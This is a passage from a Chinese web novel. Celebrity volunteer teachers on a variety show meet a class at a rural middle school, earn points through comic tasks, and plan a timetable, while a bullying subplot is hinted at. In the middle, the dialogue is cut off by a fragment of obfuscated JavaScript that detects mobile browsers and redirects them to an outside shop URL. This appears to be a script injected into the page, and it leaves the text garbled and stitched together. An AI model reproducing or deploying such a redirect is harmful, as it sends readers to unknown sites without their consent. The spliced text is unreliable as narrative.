吴焕晗打趣道：“别装了，我都看见了。洛洛，谁背你下山的？” 容清洛：“你怎么这么八卦？” 吴焕晗一本正经：“我这是替你操心你的感情生活，你瞧瞧你这一年都是什么样子，晏先生不知道去哪里了，你的心也跟着晏先生飞到了不知道哪个犄角旮旯。我盼望着有人能把你解救出来。” 容清洛回想起程景逸临走前接到的那个电话：“焕焕，既然你这么关心，我还真有件事需要你的帮助。” 吴焕晗：“什么？” 容清洛：“你原本就是西华市一中的老师，只是轮岗到这秀林县。西华市下面各个县的学校应该都是一个系统的吧，你知道古泉县青山镇的正宁中学吗？” “这个学校的校舍被大雨冲塌了屋顶，但是资金有限。” “我想请你代我出面，联系一下正宁中学的程景逸校长，匿名捐赠……” 132. 青衿与长衫 陆陆续续地有学生来到教室。 节目组专门为学生们准备了定制款式的校服，分为学院风和运动风两种。学生可以根据课程的不同需要来穿搭。 校服上统一印刷着“韶光一班”的字样。 并且为了方便嘉宾们认识学生，每个学生都有特制的名牌，需要别再胸前。 几个女生走进教室，直奔教室正中央的几个座位。 李茹梦抢先两步，走到第一排正中央的位置，拉开座椅，从包里取出纸巾将桌面和椅子擦拭一番，笑脸盈盈地对着慢条斯理走过来的张静思道：“静思你坐这里，我已经为你擦干净了。” 张静思本来准备坐过去，想起早上出门前父亲张世的叮嘱，牵起笑意婉拒道：“谢谢茹梦，不过我坐旁边就可以。”她将书包放在旁边的座位上。 “别天天傻献殷勤了，人家爹是副校长，看不上你。”杨瑾菲冷笑着走过来，轻拍李茹梦的肩膀。 然后她扭头看向张静思：“既然你不想坐，那我坐这儿了。” 说完，她对李茹梦露出笑意：“谢谢。” 张静思翻了个白眼：“你随便。” 另外几个女生很快选好位置坐定。 其他参加节目的学生也都各自分散着在教室里坐下。 大家都是一个年级的学生，即使不认识，多多少少也都打过照面，很快便三三两两地围在一起聊天。 周佑谷进来时，看到的就是这幅热闹的场景。 她扫视一圈，在教室最后一排靠窗的角落里落座。 朱吴毓和卢芒围在杨瑾菲身侧说话，两人都看见女生从后门进来。 那一刻，两人的眼中都忍不住露出惊惶。 卢芒牙齿都有些打颤，示意杨瑾菲：“菲菲，你往后看。” “怎么了，突然这个样子，像见鬼了一样……”杨瑾菲顺着卢芒的目光望过去，瞧见窗边女生靓丽的身影后，仿佛被钉住一般，视线紧紧地锁住那人的脸，冷哼道，“还真是大白天见了鬼。” 朱吴毓扯住杨瑾菲和卢芒的手，凑近二人，小声道：“怎么办？她那天不是已经……” 杨瑾菲连忙压着声音喝断朱吴毓：“闭嘴。” 朱吴毓被杨瑾菲眼里的狠厉吓到，低下头：“哦。” 卢芒圆场道：“四处都是人，虽然还没正式开拍，但是摄像机也许现在正开着呢，说话注意分寸，不该说的现在不要说。” 杨瑾菲警告道：“以后也不要提，都给我烂在肚子里。” 说完，她从包里拿出一瓶水，向教室后排的角落走去。 朱吴毓问卢芒：“菲菲要去干嘛？” 卢芒：“无非想去试探试探。” 杨瑾菲将水放在女生桌上，笑得和善：“佑雨，喝水。” 周佑谷闻声抬头，她没有说话，更没有给予桌上的水瓶一丝眼神。 她只是由上而下、由下而上地不断打量面前这个人。 这可是自她走进教室后，第一个和她说话的人呢。 果然，以身为饵，便会有人按耐不住，抢着上钩啊。 周佑谷一字一顿地念出这人胸前名牌上的名字：“杨瑾菲？” 杨瑾菲：“怎么，几天不见，不认识我了？”一边说，一边伸出手在对方胳膊上掐了一下，“疼吗？” 周佑谷皱眉，站起身，狠狠拧住杨瑾菲手臂上的肉，反问道：“你疼吗？” 杨瑾菲低声道：“周佑雨，胆子变大了啊。以前不是只会低头掉眼泪吗？怎么，现在不装了？” 她原本想发火，但是顾忌拍摄现场有很多人，便忍了下来。 目光触及到女生地上的影子，回想起刚刚接触到对方胳膊的触感，不可思议的惊诧从杨瑾菲的心底慢慢升腾而起。 这是人，不是鬼。 周佑雨没死。 这到底是怎么回事？ 周佑谷的眼底仿佛凝着碎冰：“你到底有什么事？” 杨瑾菲：“我真的很讨厌你，不喜欢你。我不知道你怎么还有胆子上这个节目、出现在我们面前，但是我警告你，以后离我们远一点，见到我们要绕道走，记住了吗？” 周佑谷把桌上的水拿起，扔进杨瑾菲怀里：“希望你也不要出现在我的视线里。现在，拿着你的东西滚。” 杨瑾菲准备发作，这时，工作人员示意学生们回到位置上坐好，马上准备开始拍摄。 杨瑾菲只好回座位，走之前，留下一句狠话：“周佑雨，你别高兴的太早。你躲得过初一，躲不过十五，逃得了一次，逃不了百次千次。我收拾不了你，有的是人收拾你。” 周佑谷看着杨瑾菲脸上扭曲的表情，挑眉道：“这么多摄像机开着呢，杨同学，请你自重。” *** 综艺节目正式开始录制，邱导的声音从教室的音响中传出，吸引着所有人的注意力。 “此次节目总共录制21天，也就是三周的时间。” “青衿，就是古代读书人穿的青色衣领的衣裳，所以常常被用来指代学生。而长衫，则是古代士大夫常穿的衣服，书院里的教书先生往往便是这样的打扮。” “因此我们综艺的名字《青衿与长衫》，实际上指代的就是正宁中学的四十位同学以及来支教的嘉宾老师们。” “接下来让我们用热烈的掌声欢迎六个常驻嘉宾。” 首先上场的是著名影后戴思秀，她端庄大方，是女神级的老牌演员：“各位同学，你们好，我是演员戴思秀。我所讲授的课程是书法，其中包括硬笔书法以及软笔书法。希望接下来能够和同学们一起度过美好的三周时光。” 台下的同学们都激动鼓掌。 李茹梦喊道：“戴老师，我和我妈都很喜欢看你的戏，你可以给我签个名吗？” 几个胆大的男生也跟着起哄：“戴老师，我们也想要。” 戴思秀笑容可掬：“当然可以，下课的时候同学们可以来找我。” 接着走进教室的是影帝宁斯文，他少年时曾经在以武术闻名的檀香寺修习多年，曾经获得过武术比赛冠军，后来以武打明星的身份开始拍戏。他所拍摄的多部功夫片都是经典中的经典，深受大众喜爱。 他站在讲台上，向台下的学生们挥手：“同学们好，我是宁斯文。作为大家的武术老师，在接下来的一段时间里，将带领大家学习太极拳、八段锦、五禽戏、八部金刚功、长寿功。希望同学们的身体素质能在我的带领下有显著提高。” 台下一个男生和同伴感慨道：“好帅，一看就是练家子。” 有男同学喊道：“宁老师，可以教我们格斗散打吗？” 宁斯文的皮肤黝黑，身材魁梧，笑起来十分稳重：“原来你们对这个感兴趣。如果同学们能把教学计划内的任务保质保量地快速完成，剩下的时间我可以教你们这些。” 教室中爆发出欢呼声。 “谢谢宁老师！” “宁老师你会轻功吗？” “……” 容清洛站在教室外，隔着窗户感受到学生们的热情。 她不禁感慨：“真有活力。” 果然无论男女，人人都有武侠梦。 宁斯文走下讲台，站在教室一侧。 接着便轮到容清洛上场。 走进教室前，她鬼使神差地向程景逸所站的位置望过去。 正宁中学的几个校领导都站在走廊上关注着教室内的动静。 两人仿若心有灵犀。 容清洛看过去时，恰好撞进程景逸的眼里。 程景逸无声地动了动嘴唇，做出一个口型。 容清洛能看出，那是“加油”两个字。 她轻轻点头，走进教室。 迎接她的是同学们的欢呼。 “女神！” “好美！” “啊啊啊啊！见到活的容清洛了！” “……” 容清洛耐心地等待大家的情绪稍微收敛一些后，微笑道：“大家好，我是容清洛，曾经是女团爱豆，现在是歌手，演员。” “我教授的课程是舞蹈课。很高兴认识大家，希望我能成为一个好老师，为大家在这个夏天留下一段美好回忆。” 在容清洛之后走进教室的是白兴哲：“天下兴亡，匹夫有责，大家好，我是相声演员白兴哲。我将为同学们讲授的课程是相声，希望在给大家带来欢乐的同时，能够让同学们拥有更加顺溜的口条。” 他个子不高，心宽体胖，笑起来一副喜相，一开口便引起欢声笑语。 接下来是欧声声：“同学们好，我是歌手欧声声，我所执教的课程是声乐。人的身体就是我们天然的乐器，我将教会大家如何用我们天生的声音演奏美妙的音乐。” 作为实力唱将的她却拥有一张甜美可爱的娃娃脸，一上场便引起台下学生们的感叹。 “这就是不老女神吗？” “我真的是听她的歌曲长大的。” 第六位走上讲台的是辛才：“亲爱的同学们，早上好，我是主持人辛才。讲好普通话，漫步行天下，我将教授的课程就是普通话，相信大家经过三周的训练，一定能够讲出一口字正腔圆、十分标准的普通话。” 这六位常驻嘉宾全部走入教室后，几人一起活跃气氛，同学们也逐个进行自我介绍。 在嘉宾老师们的组织下，同学们一起玩了几个简单的小游戏。温馨的互动之后，教室里的气氛其乐融融。 “叮铃铃，叮铃铃。” 下课声响起。 邱导的声音从广播中传出：“各位常驻嘉宾，你们作为常驻韶光一班的支教老师，除了需要完成你们自己课程的教学计划，支教团集体还需要带领学生们不定期地完成导演组下发的教学任务。” “现在是上午的大课间，同学们可以进行休息。十五分钟后，上课铃将响起。上午还有两节课的教学任务，请支教团决定接下来学生们应该上哪两节课。其他没有课的老师请前往韶光教研室领取任务卡，制定任务方案。” “韶光夏令营正式开营，预祝各位同学、各位老师，度过一个有所收获的愉快夏季！” 容清洛以前的团还没有解散时，经常和队内成员一起上综艺，多年营业让她对综艺流程很熟悉。 “也就是说，我们现在的第一个任务，就是要在十五分钟内选出上午剩下两节课的上课老师。” 宁斯文很有气场，他点头：“容老师总结的对。” 戴思秀有些奇怪，她看向站在教室门口的工作人员，问道：“我们不是都已经提交过教案和教学计划了吗？难道节目组没有准备课表？” 工作人员摇头：“课表需要各位支教老师们待会儿移步教研室，共同商讨。这是支教团的工作，节目组不能代劳。” 戴思秀：“这样啊，那我下节课可以讲书法。” 工作人员提醒道：“教学所需的教材、讲义、工具都需要支教团自己准备。” “在每天的课程结束后，节目组会对学生们进行课后回访，为支教团的每位支教老师进行打分。所以，请老师们慎重对待每一节课。” “目前还剩下十三分钟就要上课，请支教团考虑周全，迅速决定。” 戴思秀惊讶：“也就是说，节目组没有准备毛笔、宣纸，也没有准备字帖，这些都要我自己准备？之前怎么没有说？” 工作人员：“具体的将在待会布置任务时讲解。” 白兴哲笑起来：“之前问节目组我们需要准备什么，你们总是神神秘秘的，原来是在这里等着。” 宁斯文皱眉：“武术课的场地是在哪里，教室里都是桌椅，肯定施展不开。” 工作人员：“可以在室外运动场，也可以在体育馆。” 容清洛游戏担心：“那舞蹈课呢？这个需要有镜子的舞蹈室。正宁有场地吗？” 工作人员：“有的，我们本来也担心，但是正宁中学有体育馆，里面设有专门的舞蹈室，空间还挺大的。” “听程校长介绍时讲过，这体育馆还是用容老师你捐的钱建造的呢。” 容清洛挑眉：“那我高低得去看看。” 宁斯文：“武术、舞蹈这种我们得先去看看场地，提前准备好教学需要用的音乐、音响，之后才能上课。所以估计没办法下节课上。” 戴思秀：“我的书法课也是，还缺工具和教材。教材都是小事，最主要的是没有工具。” 欧声声：“我刚看了下，这个教室内部的设备还挺齐备，粉笔、黑板擦、投影仪，广播音响，扩音器、话筒什么的也都有……不过我没看见电脑。” 她转头问工作人员：“节目组提供教学所需的电脑吗？” 工作人员点头：“讲台的抽屉里有一台笔记本电脑，可供各位老师的日常教学所需。PPT、课件、视频、音乐等需要老师们自己准备。如果老师们在某节课需要每个学生都使用电脑，任课教师可以提前写报告交给班主任，申请到微机室上课。” 辛才沉吟道：“如果是这样的话，我们几个动嘴巴的，只要准备的有课件，接下来这节课应该都可以讲。” 教相声课的白兴哲：”我上课比较老派和传统，不用这些电子设备。” 辛才：“你是要用教材吗？” 白兴哲：“我准备的是讲义，需要每节课打印下来发给学生，因为有需要他们写写划划做笔记的地方。” 他问工作人员：“节目组提供打印机吗？” 工作人员：“打印机在教研室，老师们需要完成任务才能够获得打印机的使用次数。” 白兴哲无奈：“好吧，理解，毕竟这都是看点。” 欧声声：“我带U盘了，里面装的有我上课需要的东西。不过就算没有钢琴，你们好歹给我准备一架电子琴吧。” 工作人员：“需要做任务才可以获得电子琴的使用权，到时候可以把琴放在教室一角。” 辛才：“那看来只有我先来讲第一节课了。我准备的有课件，学生们只要跟着我张嘴说话就可以，其他的没什么要求。” “不过上午要讲两节课……” 白兴哲：“我待会儿看看那个打印机的任务好完成不，如果完成得快，我把讲义打出来，就可以接在你后面讲第二节课。” 戴思秀：“还好有你们年轻人顶在前面。” 工作人员将他们的选择报给导演，没过一会儿，邱导的声音从广播中传出：“支教团经过讨论之后，决定支教第一天上午的两节课分别是普通话课和相声课。” “请同学们在上课铃响起后立即回到教室。每节课的任课老师要在上课铃响起前来到教室，做好课前准备工作。下节课没有课的老师，请前往教研室。” 白兴哲：“也就是说，只要不上课，就不要留在教室干等着。” 宁斯文：“是这个理儿。” 容清洛：“那各位老师，我们出发吧。” “辛老师，我们支教团的第一节课，加油哦。” 欧声声：“辛老师别紧张，我们在教研室等你。” 挥别留下讲课的辛才，几个人走出教室，跟着工作人员下楼。 白兴哲：“怎么都是空教室，没看到学生书桌上的书？” 宁斯文：“这栋楼原本是高三教学楼，学生高考完，都毕业了，东西全部清空，暑假结束以后就会变成高一教学楼。” 白兴哲：“原来是这样。不过怎么教研室和教室隔这么老远，教室在顶楼，教研室在一楼。” 戴思秀：“因为老师和学生之间还是要保持一定的距离，距离产生美。” 几人说笑间已经来到一楼，一间教室的门口贴着牌子，上面写着“韶光教研室”。 大家推门而入，里面被摆成了会议室模样，早有工作人员等待着几位老师：“请支教团团长来领取任务卡。” 欧声声：“谁是团长？” 工作人员：“各位老师需要推举一个团长。” “请各位老师在纸上匿名写下你认为适合当支教团团长的人选。” 宁斯文：“就我们几个选吗？可辛才在上课呢，人家也有这个权利的。” 工作人员：“现在还没打上课铃，他在楼上和你们同时写。” 容清洛之前并没有和这几位合作过，充其量就是在各种颁奖典礼或者其他场合碰过面，点头之交，但是私下没有接触过。 这要选的话，还真有点难。 支教团的团长需要是一个具备领导力、且有责任心的人。 最重要的是，说话能服众。 那就只能从宁斯文、戴思秀、欧声声这三个人里面选，毕竟他们在圈子里都比较有地位，很有声望。 只是…… 戴影后看起来身体不太好的样子，身体不好很多时候会心有余而力不足。 欧姐专业能力很强，不过在管理方面可能差点儿意思，毕竟人太甜了，能获得喜爱，却不一定能有威信。 宁影帝不笑的时候很威严，如果团队里出现意见不一的情况，他应该很能镇得住场子。 而且他刚刚能考虑到在顶楼的辛才，说明他考虑事情很周全，而且很公正。 综合来看，还是选宁影帝吧。 她在纸条上工工整整地写下“宁斯文”三个字，然后折好，投进了箱子中。 十分钟后，工作人员宣布：“参加投票的人数为6人，实际投票6人，弃票0人，投票结果为，宁斯文老师3票，戴思秀老师2票，欧声声老师1票。” 宁斯文失笑：“这是按照年龄来选团长吗？我年纪最大呀。” 欧声声：“竟然还有人选我，谢谢谢谢，不过我做好我自己的事就好，被领导的人操心少啊。” 工作人员：“那么，韶光支教团的团长就为宁斯文老师。” 宁斯文站起来，十分郑重道：“感谢各位信任，我会尽职尽责，和大家一起好好完成支教团的任务。” 众人鼓掌。 工作人员：“请宁老师来领取你们的第一张教学任务卡。” 五位支教老师围坐在一起。 宁斯文将教学任务卡上的内容念给大家听。 “韶光支教团第一天任务。” “第一，制作二十一天的课程表，之后可根据情况进行调课、换课。” “第二，各科老师需要准备好各自教学所需的教材、讲义、工具等，并且安排好上课场所。” 白兴哲：“还好只有两个任务。” 欧声声：“这两个任务也很要命呀。这可是支教中很重要的两个环节，节目组却都没准备。今天都已经开课了，赶鸭子上架让我们现弄。节目组不地道呀。” 戴思秀安慰道：“不过我们自己排课表有一点好处，就是上课的时间会相对自由一些。不想早起的老师可以上下午的课。能早起的老师就可以上第一节课。” 白兴哲：“一天需要安排几节课呢，上课时间是从几点到几点？” 容清洛：“今天早上是八点半集合。” 工作人员：“今天因为是录制第一天，所以上午的时间其实安排的比较灵活。” “早上八点半集合后，各位老师和同学们互相认识，熟悉一下。花费的时间比较长，所以辛老师十点钟才开始上课，那么这节课只需要上四十五分钟即可。然后休息十五分钟。” “也就是十一点钟的时候，白老师需要上楼去上第二节课，时间也只需要四十五分钟。到十一点四十五时，老师同学们就可以去食堂吃午饭，进行午休。” “这是特殊情况特殊安排。” “那么在之后，每天上午的上课时间为八点到十一点半，每节课一小时，休息十五分钟。也就是说，上午第一节课的时间为早上八点到九点，第二节课的时间为上午九点一刻到十点一刻，第三节课的时间为十点半到十一点半。上午十一点半到下午两点钟是吃饭和午休时间。” “下午的上课时间为两点到五点半，同样是每节课持续一小时，然后休息十五分钟。那么，下午第一节课的时间为两点到三点，第二节课的时间为三点一刻到四点一刻，第三节课的时间为四点半到五点半。” “录制综艺的学生们，家离学校都比较近，拍摄期间不住校。不过，更多的是因为学校考虑到学生，尤其是女同学在录制期间的安全，所以安排学生们都回家住。” “各位老师每天傍晚可以根据情况，在校园里组织学生进行活动，不过晚上七点钟以前，必须放学。” “以上大概就是有关上课的时间安排，各位老师还有什么疑问吗？” 白兴哲：“突然想起来，我们需要制作二十一天的课表，也就是说，没有双休日，是吗？” 工作人员：“是的。” 白兴哲：“好吧。” 戴思秀：“好在我们每天只需要上六节课，一个人一天只需要上一节课就行。” 欧声声：“应该之后还会来飞行嘉宾吧，到时候，应该有老师可以隔一天上一节课。” 大家七嘴八舌的讨论起来。 宁斯文听了一会儿，站起来道：“目前面临的情况，大家都已经有了一定的了解。我觉得，课表我们可以稍后讨论。中午吃饭时，大家都在的时候，也可以聊一聊。” “现在的当务之急，是解决老师们上课所需要的讲义、教材、工具、场地等问题。尤其小白老师要在十一点之前打印好今天这节课的讲义。” 欧声声：“同意。” 戴思秀：“是的，第二个任务应该先完成。我刚才就想问了，教材和工具这种，难道要我们现买吗？现在从网上订，物流也需要花费时间的，这样的话，书法课最早后天才能开始上。” 几双眼睛盯住工作人员。 工作人员：“其实这些东西节目组都已经准备好，但是获取方式是：老师们需要通过完成可以获取积分的项目挣得积分，然后用积分购买物品，或者用积分来兑换设备的使用次数以及场所的使用时间。” “比如说，老师们可以用积分来购买教材、练习册、钢笔、毛笔、颜料等等。注意，总共有四十位学生，老师们在购买时，建议购买四十一份，因为还需要购买自己的那一份。” “由于打印机、电子琴、音响等设备的价格较贵，购买所需的积分较高，所以建议老师们购买使用次数。另外，打印机的使用次数比较特殊，打印一张算使用一次。“ “体育场、舞蹈室、微机室等场地的使用需要场地费，等同于租金，老师们每次使用都需要用积分来兑换使用时间。所以拖堂有风险哦，需要追加购买使用时间。” 容清洛：“花样还挺多。” 白兴哲拨弄几下手表，留给他的时间不多了。 他问道：“那我们需要完成哪些项目来获取积分？” 工作人员：“我们现在给各位老师分发《韶光夏令营支教手册》，上面有老师们获得积分的方法，请大家仔细阅读。” 在他说话之际，已有其他人将手册发给几位老师。 宁斯文：“辛才的手册先放在我这里，他待会儿下课了我给他。” 容清洛拿到支教手册：“还挺厚。” 她翻到目录，找到积分获取这一章。 看到好几页密密麻麻、琳琅满目的获取方法，不由得对着镜头竖起大拇指：“节目组真是好脑洞。” 白兴哲：“还是节目组会玩儿。” 工作人员：“韶光教研室旁边的教室就是韶光加油站，如果老师们决定先完成第二个任务，那么各位老师现在可以前往隔壁加油站，去完成任务。” 白兴哲是几个人中年龄最小的，才二十出头，他从椅子上蹦起来：“已经十点半了，我得快点去做任务。” 宁斯文：“那走吧，大家一起去。目前除了辛老师，我们每个人好像都需要获取积分。” 工作人员适时插刀：“教室的笔记本电脑，每位老师有三次免费使用机会，之后使用需要用积分兑换使用次数。” 欧声声失笑：“每个人的羊毛都得薅。” 容清洛：“真是没有一条漏网之鱼。走吧，挣积分去。” 几人走进贴着“韶光加油站”的教室。 这个教室很空，桌椅被堆在一起，放在教室的最后，中间露出大片空地，讲台前支着一张很长的桌子，桌子后面坐着几位工作人员。 戴思秀读出桌上摆着的名牌：“考官。” 一位戴着眼镜的男考官笑道：“各位支教老师好，请开始你们的表演。” 宁斯文：“小白老师，你比较着急，你先来吧。” 白兴哲有些不好意思：“这儿坐了三个考官，大家可以同时进行吧。” 欧声声笑道：“没事，你先来吧，我们想看。” “既然这样，那我就献丑了。”白兴哲掰着指头计算着：“双面打印一张黑白A4纸，需要消耗5个积分。单面打印一张黑白A4纸，需要消耗3个积分。” “我今天准备的讲义是三面，打单面需要9个积分，打双面需要10个积分……” 他问道：“考官，这个可以算一张双面，一张单面吗？这样三面就是8个积分。” “我打印的份数多，而且每节课都要打印新的，常来常往的，可以吗？” “考官你真帅。” 白兴哲的脸很圆，还带着婴儿肥，眼睛湿漉漉的，整个人看起来少年感很足。 在这样撒娇的攻势下，眼镜男考官点头：“可以。” 白兴哲开心地继续算道：“一份8个积分，打印41份需要328积分。音响、扩音器、话筒都好贵，用不起，我待会就大声讲就可以。” “让我看看328积分可以做哪些任务……” “做三个鬼脸可以获得50积分，就这个，我可以连着做9个鬼脸，150积分就到手了。” 眼镜男考官提醒道：“鬼脸不能重复，我们这里摄像头都有记录，你今天做过的鬼脸，之后再来就不能做了。如果鬼脸重复，不能获得积分。” 容清洛：“那一个人做过的鬼脸，其他人可以做吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586974|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 眼镜男考官：“可以的。别人做过的鬼脸，其他人可以重复做。但是自己做过的鬼脸，自己不能重复做。” 白兴哲：“明白了。等于通过做鬼脸可以获得的积分是很有限的，想不出新的鬼脸，就只能去做其他项目挣得积分。” 眼镜男考官：“是的。” 白兴哲：“那我开始了啊。” 他短短几十秒，不断地调动脸部肌肉，牵扯眉毛、眼睛、嘴唇，通过排列组合，很快地变换出九个鬼脸。 眼镜男考官：“通过，白兴哲老师获得150积分。” 戴思秀：“小白老师可以啊，鬼脸很有想法。” 白兴哲挠挠头：“每个人都得有点特殊的个人技。” 容清洛：“加油。” 白兴哲犹豫了一下，还是凑到眼镜男考官面前咨询：“考官，支教手册上写着，唱歌一分钟可以获得100积分，要求是歌曲不能重复。” 眼镜男考官：“是的，有这一条。” 白兴哲：“我的问题是，唱歌如果跑调，影响积分的获取吗？” 看着他小心翼翼的样子，大家以为他要问什么重要的问题，没想到竟然是这个。 几人都笑起来。 白兴哲不服气：“你们别笑啊，严肃一点，这是个很重要的问题，决定了我能不能通过这个项目获得积分。” 眼镜男考官沉默几秒，拿出手机：“我询问一下上级，稍等。”说着便走出教室。 白兴哲：“等你，快点啊。” “不过这样干等着也不是事，我看这波比跳20个也能得100积分，我先做这个吧。” 旁边一个扎着高马尾的女考官说：“可以的。不过像波比跳、跳绳、蛙跳这类任务，后面都标注着注意事项，就是限用3次。” 白兴哲：“这类项目每个人只能做三回？” 高马尾女考官：“是的。” 容清洛追问道：“是21天只能做三回，还是1天内只能做三回？” 高马尾女考官解释道：“如果在积分获取任务后面标注的有限用次数，这指的是该任务在整个综艺的21天内只能使用的次数。” 看见几位嘉宾露出的失望神色，她补充道：“这是为了防止嘉宾老师每天只用这一种方式获取积分，是为了综艺节目的多样性和趣味性着想。” 宁斯文摇头笑道：“你们预判了我的想法。我本来准备就只通过这些运动项目获取积分的。” 宁影帝这样英气正派的脸，确实很难想象他做鬼脸的样子。 想到这里，容清洛安慰道：“没事的宁老师，我看手册上能获取积分的运动类任务还挺多的，像劈叉、后空翻、高抬腿……什么奇奇怪怪的动作都有，即便一个只能做三次，应该也能做很久。” 白兴哲：“那我今天先做波比跳。” 20个波比跳很快做完，又100积分进账。 这时，那个眼镜男考官走进来：“确认过了，唱歌跑调不影响积分获取，只要曲目不重复即可。” 白兴哲欢呼：“好的，那我要开始唱了。” 他开口之前，特意叮嘱几位老师：“请非必要人员捂住耳朵。” 容清洛本来没太把白兴哲的善意劝告当回事。 可是白兴哲一开口，她就知道自己错了。 天呐，这是什么鬼哭狼嚎。 其实白兴哲的声音很好听，不看他的人，光听他讲话，人们肯定会觉得这是一个大帅哥，而不会想到他是一个小可爱。 但是……他唱歌怎么会这么不在调上呢？ 哪里都很怪异。 考官拿着秒表计时，僵硬着听完白兴哲唱满一分钟，立马叫停陶醉在自己歌唱中的白兴哲：“好的，白兴哲老师，你已获得100积分，可以不用继续唱下去。” 欧声声：“小白老师，快到十一点了，你现在有350积分，快去打印吧。” 戴思秀附和道：“是的小白老师，你第一次给学生上课，可别迟到，快去吧。” 白兴哲美滋滋地带着自己的积分到隔壁教研室去使用打印机，留下众人修复被伤害了的耳朵。 辛才老师上完普通话课以后，跟随工作人员的指引来到一楼。 推开贴着“韶光加油站”牌子的教室门，他仿佛进入一个新世界。 其他几位老师坐在一张长桌之后。 容清洛牵动面部肌肉不断地做着鬼脸。 戴思秀拿着一支铅笔在纸上写写画画。 欧声声看着歌词在歌唱，而且转换歌曲不停歇。 而宁斯文站在几人后面，盯着一本册子仔细研读。 他听到门口的响动，抬头看见辛才走进来，便招手道：“辛老师，你过来，给你看样东西。” 辛才一边跟着宁斯文往教室后面走，一边笑道：“恭喜宁老师成为我们支教团的团长，接下来三周的工作还需要团长你多指示。” “大家一起齐心协力，把这个支教工作做好，把综艺录制好。” 后排书桌椅堆摞得很高，宁斯文从一个抽屉中拿出一本手册递给辛才：“来，给你的，好好看看。” 辛才低头，封面上“韶光夏令营支教手册”几个字映入眼帘。 宁斯文言简意赅道：“今天我们有两个任务：第一个是制定接下来二十一天的课表；第二个是通过完成项目挣得积分，以此兑换教学所需。” “中午我们大家都在的时候，再一起商讨课表怎么安排。” “现在就先做第二个任务，完成项目，挣积分。” “具体有哪些项目，你看这个手册的第三章，从中选你觉得可以完成的，到前面那几个考官面前做，就可以得到积分。” 辛才：“好的，我研究一下。” 另一边，戴影后在和考官商讨，据理力争。 “考官，你看，我这需要的东西太多了。” “首先，钢笔……钢笔就算了，硬笔书法让学生用自己的笔写也可以。” “但是硬笔书法字帖、软笔书法教材、宣纸、毛笔，这些每一样都需要41份。” “我算了算，总共大概需要消耗八千多积分。我得在这儿画四十幅毫不相同的画，或者连着唱80分钟不重复的歌。” 她动之以情，晓之以理。 “考官你想一想，我既不需要打印讲义，也不需要使用笔记本电脑等设备，更不用租用场地，我唯一需要使用积分的地方就只有购买这些学习用品以及教材。” “等于说，在挣积分这一部分，我是一劳永逸型的。在综艺第一天极其劳碌，但是之后二十天却相当清闲。” “这种安排，其实不太合理。也不符合你们想要综艺更加具有趣味性和多样性的预期，是不是？” “不如我们签订一个积分贷款协议，我先从你们这里支取足以购买我教学所需用品的积分，先把东西购置好，使得书法课程能够顺利开展。” “然后，接下来我每天都来加油站做不同的项目还积分，直到还清。” “这样你们也不用枯燥地坐在这里听我唱歌或者看我画画，还可以让节目的每天都有看点。” “岂不是很好吗？” “你们觉得呢？” 这位考官被戴思秀忽悠地一愣一愣的。 此时，恰好欧声声和容清洛都已经完成了各自的项目，获得了相应的积分。 坐在戴思秀对面的眯眯眼考官连忙和其他两位考官商议，最后在向上级汇报以后，通过了戴思秀的这项提议。 于是，戴影后轻松拿到了41套硬笔书法字帖、41套软笔书法教材、41沓宣纸、41根毛笔，从此开始了她剩余20天的积分还债之路。 容清洛目瞪口呆：“前辈不愧是前辈，戴姐太牛了。” 戴思秀：“小问题啦。还好节目组给我面子，不然我也真是没辙了。可能要把我曲库里上个世纪的歌曲都要搬出来唱了。” *** 中午，十一点四十五，白兴哲下课后，和支教团大部队在一楼教研室汇合。 戴思秀和欧声声都想直接回去午休。 而宁斯文和辛才想去学校对面的小吃街打牙祭。 只有容清洛一个人坚定地想要在食堂吃午饭。 白兴哲本来想要陪容清洛吃食堂，但是被容清洛“赶”走了：“弟弟跟着宁哥和辛哥去吃点好的吧，我只是想体验下学生的生活。” 经过上午一起做任务的磨合，大家彼此之间都更加熟悉，也都不再过分客气地称呼彼此为“老师”，而是喊起“哥”“姐”或者名字。 容清洛主要是想去考察一下正宁中学食堂的饭菜质量，检验她捐的那些款项是否有被好好使用了。 因此就她一个人去就行。 白兴哲露出一个恍然的表情：“我懂。” 容清洛：“你懂什么？” 白兴哲眨眨眼睛：“容姐，我知道你是去干正事的，我就不去添乱了，那我跟着宁哥他们出去吃啦。” 容清洛被他看得莫名，连忙摆手：“去吧，去吧。” 这时，宁斯文在教研室的小黑板前站定：“各位老师，鉴于下午还需要上三节课，我们需要提前把上课顺序定下来。所以在午休之前，短暂地占用大家的一点宝贵时间，我们干脆一起把接下来21天的课表定下来。这样今天的两个任务就算都完成了。” 大家都表示同意。 宁斯文：“我先征求一下大家的意见，有谁想要上午上课，请举手。” 戴思秀和容清洛慢吞吞地举起手来。 宁斯文：“其他老师都不愿意早起哈。” “其实武术就应该一大早起来练习，所以我可以把武术放在每天的第一节课。” “这样大家都不用起很早来赶早八这节课。” 白兴哲带头欢呼：“宁哥威武！” 戴思秀：“那我和清洛上第二节和第三节，这样上午的三节课刚好都定下来。” 容清洛：“可以的。” 宁斯文：“这样有一点点不妥。” 戴思秀：“哪里不妥？” 宁斯文扫视一圈：“你们想啊，思秀上的是书法课，清洛上的是舞蹈课，再加上我的武术课，如果这几门课都安排在上午，剩下的几门课全都得在下午上。” “但是声乐、普通话、相声这几门全都是动嘴巴的，学生连着三节课这样练，不出几天，嗓子全得废。” “我建议呢，把声乐、普通话、相声这几门课岔开，这样可以让学生的嗓子得到充分的休息。” “你们认同吗？” 欧声声：“确实是这样，这一点提得好。” “我的声乐课可以放在上午。” 容清洛：“那把我的舞蹈课改在下午吧。” 白兴哲：“容姐的课可以放在我和辛哥之间。我先上后上都行。” 辛才：“下午的第一节课可以安排我的普通话。” 戴思秀：“那我上午第三节课教学生书法吧。” 宁斯文在黑板上提前画好的表格中写下课程名，边写边道：“行。那我们先定下一天的基本课表，然后每天都按照这个来上课，如果之后有飞行嘉宾来的话，就再调整。” “上午第一节课是武术，第二节课是声乐，第三节课是书法。” 